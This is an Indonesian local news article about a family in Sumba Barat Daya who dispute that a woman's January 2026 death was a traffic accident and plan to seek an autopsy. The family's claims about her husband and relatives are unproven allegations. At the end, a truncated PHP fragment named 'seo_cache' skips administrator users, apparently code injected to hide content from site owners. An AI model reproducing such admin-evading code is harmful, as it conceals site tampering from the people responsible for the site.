Kriminal

Tak Terima Sebab Kematian yang Janggal, Keluarga Almarhumah Damaris akan Ajukan Permohonan Autopsi

×

Tak Terima Sebab Kematian yang Janggal, Keluarga Almarhumah Damaris akan Ajukan Permohonan Autopsi

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Penanganan kasus kematian Damaris Ronga Milla Mesa, warga Kampung Lete Dimmuna, Desa Dede Pada, Kecamatan Wewewa Timur, Kabupaten SBD terus berlanjut di jalur hukum.

Sebab kematian korban pada 21 Januari 2026 yang diduga penuh rekayasa berbuntut pengaduan oleh pihak keluarga almarhumah.

Laporan telah dilayangkan ke Polres SBD pada Rabu (04/02/2026), lantaran sebab kematian korban yang disebut kecelakaan lalu lintas tidak masuk akal.

Untuk mengungkap kasus ini jadi terang benderang, keluarga korban akan mengajukan permohonan autopsi jenazah.

“Kami akan ajukan permohonan autopsi lewat kuasa hukum,” tegas Martinus Mali Ngara saudara kandung korban pada Sabtu (04/04/2026).

Pasalnya, kematian korban sangat janggal, karena pada bagian perut terdapat satu bekas lindas ban kiri depan mobil, tetapi di sejumlah tubuh didapati luka lain.

Korban Damaris Ronga Milla Mesa saat masih hidup. ( Dok. keluarga )

Pelat nomor dan bagian depan mobil yang disebut menabrak korban pun nampak mulus tidak terlihat lecet, apalagi penyok.

Kisah menghilangnya korban dari rumah pada pukul 02.00 WITA dinihari di tengah hujan lebat disertai angin kencang juga disebut tidak masuk akal.

Anehnya lagi, korban ditemukan di desa tetangga tergeletak di pinggir jalan sejauh kurang-lebih empat kilometer dari rumah.

“Tidak masuk akal, korban berjalan sejauh itu dalam suasana hujan lebat dan angin kencang,” tutur Martinus..

Hal cukup mencurigakan, selang 30 menit dua saudari kandung korban ditelepon oleh nomor baru.

Pada pukul 02.34 WITA Felicitas Dama Nairo kakak korban yang tinggal di Kampung Wee Maroto, Desa Nyura Lele, Kecamatan Wewewa Timur dihubungi oleh nomor baru yang ternyata adalah Agustina Lende istri dari kakak suami korban.

Sementara pukul 02.43 WITA Noviana Ngongo, adik korban yang tinggal di Tambolaka juga ditelepon oleh nomor baru yang ternyata Marten Malo Nono suami korban.

“Agustina dan Marten sama-sama mengabarkan bahwa korban hilang disembunyikan oleh orang mati, sesuai penglihatan tim doa,” bebernya lagi

Keduanya juga sama-sama meminta agar dibantu mencarikan pendoa untuk bisa mengetahui keberadaan korban.

Setannya kuat sekali, pendoa di sini tidak mampu jadi butuh bantuan, pinta suami korban kepada Noviana di Tambolaka pada dinihari itu.

Suami yang Acuh Tanpa Raut Duka

Kejanggalan nyata lain yang didapati keluarga korban adalah sikap suami yang menanggapi dingin kematian tragis sang istri.

Marten disebut terlihat cuek meski telah mengetahui jika istrinya ditemukan tergeletak sekarat di tepi jalan ketika fajar sudah merekah.

Saat itu korban masih bernapas tapi dibiarkan lama tergeletak di tepi jalan, bahkan suaminya tidak datang untuk melihat kondisi istrinya.

Mirisnya pula, saat korban dilarikan ke RSUD Waikabubak, Sumba Barat, Marten sang suami dan sejumlah kerabat dekatnya tidak menampakkan batang hidung.

“Hanya saudara kandung dan keluarga dekat korban yang terlihat di rumah sakit,” kisah Martinus.

Setelah diteliti sejumlah bekas luka yang tidak sesuai dengan “kisah kecelakaan lalu lintas” itu, maka keluarga korban menyimpulkan jika ada hal lain yang menyebabkan Damaris tewas.

“Karena itu kami ajukan permohonan autopsi untuk mengetahui secara jelas penyebab kematian korban,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>